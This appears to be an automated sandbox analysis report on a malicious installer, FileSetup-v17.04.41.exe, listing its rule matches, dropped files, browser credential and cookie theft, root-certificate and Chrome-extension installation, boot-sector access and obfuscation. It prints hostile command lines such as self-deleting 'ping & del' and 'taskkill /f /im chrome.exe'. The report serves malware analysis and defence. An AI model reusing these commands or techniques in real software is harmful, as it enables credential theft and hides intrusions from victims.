Source: 00000003.00000002.775438693.00000000026A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 0.2.FileSetup-v17.04.41.exe.2800000.5.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 0.2.FileSetup-v17.04.41.exe.2800000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 3.2.6852B33702F6B3BD.exe.10000000.7.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 3.2.6852B33702F6B3BD.exe.26a0000.5.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 4.2.6852B33702F6B3BD.exe.10000000.7.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 4.2.6852B33702F6B3BD.exe.2740000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 0.2.FileSetup-v17.04.41.exe.10000000.6.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 4.2.6852B33702F6B3BD.exe.2740000.5.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 3.2.6852B33702F6B3BD.exe.26a0000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 3.2.6852B33702F6B3BD.exe.3230000.6.unpack, type: UNPACKEDPE	Matched rule: APT34_PICKPOCKET Description = Detects the PICKPOCKET malware used by APT34, a browser credential-theft tool identified by FireEye in May 2018, Reference = https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html
Source: 4.2.6852B33702F6B3BD.exe.3210000.6.unpack, type: UNPACKEDPE	Matched rule: APT34_PICKPOCKET Description = Detects the PICKPOCKET malware used by APT34, a browser credential-theft tool identified by FireEye in May 2018, Reference = https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html

Classification label

Source: classification engine

Classification label: mal84.bank.troj.spyw.evad.winEXE@32/37@4/2

Contains functionality for error logging

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_004B84B2 GetLastError,_strncpy,FormatMessageA,__fprintf_l,_strrchr,_strrchr,GetLastError,SetLastError,

0_2_004B84B2

Contains functionality to enum processes or threads

Source: C:\Users\user\AppData\Roaming\1611913544586.exe

Code function: 9_2_0040CE93 CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,OpenProcess,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,

9_2_0040CE93

Contains functionality to instantiate COM classes

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_004140D4 __EH_prolog,CoInitializeEx,CoCreateInstance,CoSetProxyBlanket,VariantClear,CoUninitialize,

0_2_004140D4

Contains functionality to load and extract PE file embedded resources

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_004023F0 __EH_prolog,LoadLibraryExW,FindResourceW,LoadResource,SizeofResource,MultiByteToWideChar,FreeLibrary,

0_2_004023F0

Creates files inside the user directory

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

File created: C:\Users\user\AppData\Local\Login Data1611913514483

Jump to behavior

Creates mutexes

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7156:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4780:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\exist_sign_task_Hello002
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\exist_sign_task_Hello001
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:864:120:WilError_01
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\exist_sign__install_r3
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5864:120:WilError_01

Creates temporary files

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

File created: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Jump to behavior

PE file has an executable .text section and no other executable section

Source: FileSetup-v17.04.41.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Queries a list of all open handles

Source: C:\Users\user\AppData\Roaming\1611913544586.exe

System information queried: HandleInformation

Jump to behavior

Queries process information (via WMI, Win32_Process)

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")

Reads ini files

Source: C:\Windows\SysWOW64\msiexec.exe

File read: C:\Windows\win.ini

Jump to behavior

Reads software policies

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Reads the hosts file

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

SQL strings found in memory and binary data

Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Sample is known by Antivirus

Source: FileSetup-v17.04.41.exe

Virustotal: Detection: 60%

Sample might require command line arguments

Source: FileSetup-v17.04.41.exe	String found in binary or memory: set-addPolicy
Source: FileSetup-v17.04.41.exe	String found in binary or memory: id-cmc-addExtensions

Sample reads its own file content

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

File read: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Users\user\Desktop\FileSetup-v17.04.41.exe 'C:\Users\user\Desktop\FileSetup-v17.04.41.exe'
Source: unknown	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec.exe /i 'C:\Users\user\AppData\Local\Temp\gdiview.msi'
Source: unknown	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 4B33F9BC0983FC9804745233301A967F C
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe 0011 installp3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe 200 installp3
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\Desktop\FileSetup-v17.04.41.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Users\user\AppData\Roaming\1611913544586.exe 'C:\Users\user\AppData\Roaming\1611913544586.exe' /sjson 'C:\Users\user\AppData\Roaming\1611913544586.txt'
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c taskkill /f /im chrome.exe
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im chrome.exe
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe ThunderFW 'C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe'
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec.exe /i 'C:\Users\user\AppData\Local\Temp\gdiview.msi'			Jump to behavior
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process created: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe 0011 installp3			Jump to behavior
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process created: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe 200 installp3			Jump to behavior
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\Desktop\FileSetup-v17.04.41.exe'			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Process created: C:\Users\user\AppData\Roaming\1611913544586.exe 'C:\Users\user\AppData\Roaming\1611913544586.exe' /sjson 'C:\Users\user\AppData\Roaming\1611913544586.txt'			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Process created: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe ThunderFW 'C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe'			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe'			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c taskkill /f /im chrome.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im chrome.exe			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Uses an in-process (OLE) Automation server

Source: C:\Windows\SysWOW64\msiexec.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{000C103E-0000-0000-C000-000000000046}\InProcServer32

Jump to behavior

Found GUI installer (many successful clicks)

Source: C:\Windows\SysWOW64\msiexec.exe	Automated click: Next >
Source: C:\Windows\SysWOW64\msiexec.exe	Automated click: Next >
Source: C:\Windows\SysWOW64\msiexec.exe	Automated click: Install

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Submission file is bigger than most known malware samples

Source: FileSetup-v17.04.41.exe

Static file information: File size 4592400 > 1048576

Uses new MSVCR Dlls

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

File opened: C:\Users\user\AppData\Local\Temp\download\msvcr71.dll

Jump to behavior

PE file contains a debug data directory

Source: FileSetup-v17.04.41.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\MiniThunderPlatform.pdb source: MiniThunderPlatform.exe.3.dr
Source:	Binary string: c:\Projects\VS2005\EdgeCookiesView\Release\EdgeCookiesView.pdb source: 1611913544586.exe, 00000009.00000000.695223709.000000000040F000.00000002.00020000.sdmp, 1611913544586.exe.3.dr
Source:	Binary string: atl71.pdbT source: atl71.dll.3.dr
Source:	Binary string: msvcr71.pdb\ source: msvcr71.dll.3.dr
Source:	Binary string: atl71.pdb source: atl71.dll.3.dr
Source:	Binary string: cmd_insert_server.icex-conference/x-cooltalk.movievideo/x-sgi-movievideo/x-msvideo.mxuvideo/vnd.mpegurl.qtvideo/quicktimevideo/mpeg.xmltext/xml.etxtext/x-setext.wmlstext/vnd.wap.wmlscript.wmltext/vnd.wap.wml.tsvtext/tab-separated-values.sgmtext/sgml.rtftext/rtf.rtxtext/richtext.txttext/plain.html.csstext/css.mshmodel/mesh.igsmodel/iges.xwdimage/x-xwindowdump.xpmimage/x-xpixmap.xbmimage/x-xbitmap.rgbimage/x-rgb.ppmimage/x-portable-pixmap.bgmimage/x-portable-graymap.pbmimage/x-portable-bitmap.pnmimage/x-portable-anymap.rasimage/x-cmu-raster.wbmpimage/vnd.wap.wbmp.djvimage/vnd.djvu.tiffimage/tiff.pngimage/png.jpgimage/jpeg.iefimage/ief.gifimage/gif.bmpimage/bmp.xyzchemical/x-xyz.pdbchemical/x-pdb.wavaudio/x-wavaudio/x-realaudio.arpmaudio/x-pn-realaudio-pluginaudio/x-pn-realaudio.m3uaudio/x-mpegurl.aifaudio/x-aiffaudio/mpeg.midiaudio/midiapplication/application/zip.xhtmlapplication/xhtml+xml.srcapplication/x-wais-source.ustarapplication/x-ustar.msapplication/x-troff-ms.meapplication/x-troff-me.manapplication/x-troff-man.texiapplication/x-texinfo.texapplication/x-tex.tclapplication/x-tclapplication/x-tar.sv4crcapplication/x-sv4crc.sv4cpioapplication/x-sv4cpio.sitapplication/x-stuffit.swfapplication/x-shockwave-flash.sharapplication/x-shar.shapplication/x-sh.latexapplication/x-latex.jsapplication/x-javascript.hdfapplication/x-hdf.gtarapplication/x-gtar.splapplication/x-futuresplash.dviapplication/x-dvi.cshapplication/x-csh.cpioapplication/x-cpio.pgnapplication/x-chess-pgn.vcdapplication/x-cdlink.bcpioapplication/x-bcpio.wmlscapplication/vnd.wap.wmlscriptc.wmlcapplication/vnd.wap.wmlc.wbxmlapplication/vnd.wap.wbxml.pptapplication/vnd.ms-powerpoint.xlsapplication/vnd.ms-excel.mifapplication/vnd.mif.smiapplication/smil.pdfapplication/pdf.odaapplication/oda.docapplication/msword.cptapplication/mac-compactpro.hqxapplication/mac-binhex40.ezapplication/andrew-inset source: download_engine.dll.3.dr
Source:	Binary string: d:\MiniDownloadLib\branches\bin\Product Release\download_engine.pdb source: download_engine.dll.3.dr
Source:	Binary string: f:\sys\objfre_wxp_x86\i386\FsFilter32.pdbpJ source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp
Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\MiniThunderPlatform.pdbt source: MiniThunderPlatform.exe.3.dr
Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\xldl.pdb source: xldl.dll.3.dr
Source:	Binary string: msvcp71.pdb source: msvcp71.dll.3.dr
Source:	Binary string: e:\xl7\Product Release\dl_peer_id.pdb0 source: dl_peer_id.dll.3.dr
Source:	Binary string: f:\sys\objfre_wxp_x86\i386\FsFilter32.pdb source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp
Source:	Binary string: d:\workspace\xlframework\win32_component\ThunderFW\Release\ThunderFW.pdb source: ThunderFW.exe, 00000018.00000002.759358472.0000000000CFC000.00000002.00020000.sdmp, ThunderFW.exe.3.dr
Source:	Binary string: f:\sys\objfre_win7_amd64\amd64\FsFilter64.pdb source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp
Source:	Binary string: e:\xl7\Product Release\dl_peer_id.pdb source: dl_peer_id.dll.3.dr
Source:	Binary string: e:\KINGSOFT_DUBA\Build\Build_Src\kisengine\kisengine\product\win32\dbginfo\kinst_exe.pdb source: FileSetup-v17.04.41.exe
Source:	Binary string: msvcr71.pdb source: msvcr71.dll.3.dr
Source:	Binary string: d:\BranchAI\launcher\Release\fileLauncher.pdb source: gdiview.msi.0.dr

Data Obfuscation:

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Unpacked PE file: 0.2.FileSetup-v17.04.41.exe.2800000.5.unpack
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Unpacked PE file: 4.2.6852B33702F6B3BD.exe.2740000.5.unpack

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_004560A0 LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetVersion,GetVersion,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

0_2_004560A0

PE file contains an invalid checksum

Source: MSI2C5D.tmp.1.dr	Static PE information: real checksum: 0x0 should be: 0x2d22
Source: FileSetup-v17.04.41.exe	Static PE information: real checksum: 0x1332e9 should be: 0x469e0d
Source: 6852B33702F6B3BD.exe.0.dr	Static PE information: real checksum: 0x1332e9 should be: 0x469e0d

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00494DD9 push ebx; ret		0_2_00494DF6
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00494DF0 push ebx; ret		0_2_00494DF6
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00494E3E push ebx; ret		0_2_00494E3F
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00494EA5 push ebx; ret		0_2_00494EAA
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_0049706C push ecx; ret		0_2_0049707F
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10014194 push 33000001h; retf		3_2_10014199
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10014296 push ebp; ret		3_2_10014297
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10010579 push ecx; ret		3_2_1001058C
Source: C:\Users\user\AppData\Roaming\1611913544586.exe	Code function: 9_2_0040E2F1 push ecx; ret		9_2_0040E301
Source: C:\Users\user\AppData\Roaming\1611913544586.exe	Code function: 9_2_0040E340 push eax; ret		9_2_0040E354
Source: C:\Users\user\AppData\Roaming\1611913544586.exe	Code function: 9_2_0040E340 push eax; ret		9_2_0040E37C
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 24_2_00CF3FB5 push ecx; ret		24_2_00CF3FC8

Persistence and Installation Behavior:

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: wsprintfW,CreateFileW,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d		3_2_1001DA70
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: wsprintfW,CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d		3_2_1001D370
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: _memset,wsprintfW,CreateFileW,DeviceIoControl,_memset,CloseHandle,CloseHandle, \\.\PhysicalDrive%d		3_2_1001D7E0

Installs new ROOT certificates

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Blob

Jump to behavior

Drops PE files

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\download_engine.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\xldl.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\msvcp71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Roaming\1611913544586.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI2C5D.tmp			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\zlib1.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\atl71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\dl_peer_id.dll			Jump to dropped file
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	File created: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\msvcr71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe			Jump to dropped file

Installs a Chrome extension

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ehcdpclapmggacanmpfjlemhjkoefcbh			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ehcdpclapmggacanmpfjlemhjkoefcbh\1.0.0.0_0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ehcdpclapmggacanmpfjlemhjkoefcbh\1.0.0.0_0\icon.png			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ehcdpclapmggacanmpfjlemhjkoefcbh\1.0.0.0_0\icon48.png			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ehcdpclapmggacanmpfjlemhjkoefcbh\1.0.0.0_0\popup.html			Jump to behavior
